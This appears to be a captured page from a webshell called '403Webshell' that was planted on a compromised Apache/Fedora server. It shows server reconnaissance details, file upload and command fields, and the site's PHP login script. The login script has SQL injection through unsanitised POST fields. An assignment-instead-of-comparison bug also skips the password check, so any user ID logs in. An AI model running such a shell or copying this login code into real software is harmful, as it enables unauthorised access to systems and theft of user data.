403Webshell
Server IP : 134.236.49.22  /  Your IP : 216.73.216.114
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/CAR - Copy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/CAR - Copy/login.php
<?php
session_start();
?>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<?php
include("dbconfig.php");

$pwd = $_POST['pwd'];
$id = $_POST['id'];
$index = $_POST['index'];
mysql_select_db($__dbwp__);
mysql_query(" SET NAMES 'tis620'; ");	   
if ($pwd = 'reset') {
	$sql = "select  name,auth,class as iclass  from user where id = '$id' ";
}else {
	$pwd = md5($pwd);
	$sql = "select  name,auth,class as iclass  from user where id = '$id' and pwd = '$pwd' ";
}
$result = mysql_query($sql );
$num = mysql_num_rows($result) ;
if ($num < 1) { 
	echo "<script language='JavaScript'>";
	echo "alert('ID:$id ÃËÑʼèÒ¹äÁè¶Ù¡µéͧ ');";
	echo "history.back(1);";
	echo "</script>";
} else {
	while ($objectl = mysql_fetch_object($result)) {
		 $name = $objectl->name;
		 $iclass = $objectl->iclass;
		 $right = $objectl->auth;
	}
	$_SESSION['a_name'] = $name;
	$_SESSION['iclass'] = $iclass;
	$_SESSION['right'] = $right;
	$_SESSION['auth'] = $id;
	if ($index == "rq_chk3.php"){
		echo "<script language='JavaScript'>";
		echo "location= 'rq_chk3.php';";
		echo "</script>";
	}
	if ($index == "rq_chk.php"){
		echo "<script language='JavaScript'>";
		echo "location= 'rq_chk.php';";
		echo "</script>";
	}
	if ($index == "rq_chk1.php"){
		echo "<script language='JavaScript'>";
		echo "location= 'rq_chk1.php';";
		echo "</script>";
	}
	if ($index == "edit_driver.php"){
		echo "<script language='JavaScript'>";
		echo "location= 'edit_driver.php';";
		echo "</script>";
	}
	if ($index == "pm_car_record.php"){
		echo "<script language='JavaScript'>";
		echo "location= 'pm_car_record.php';";
		echo "</script>";
	}
}
?> 

Youez - 2016 - github.com/yon3zu
LinuXploit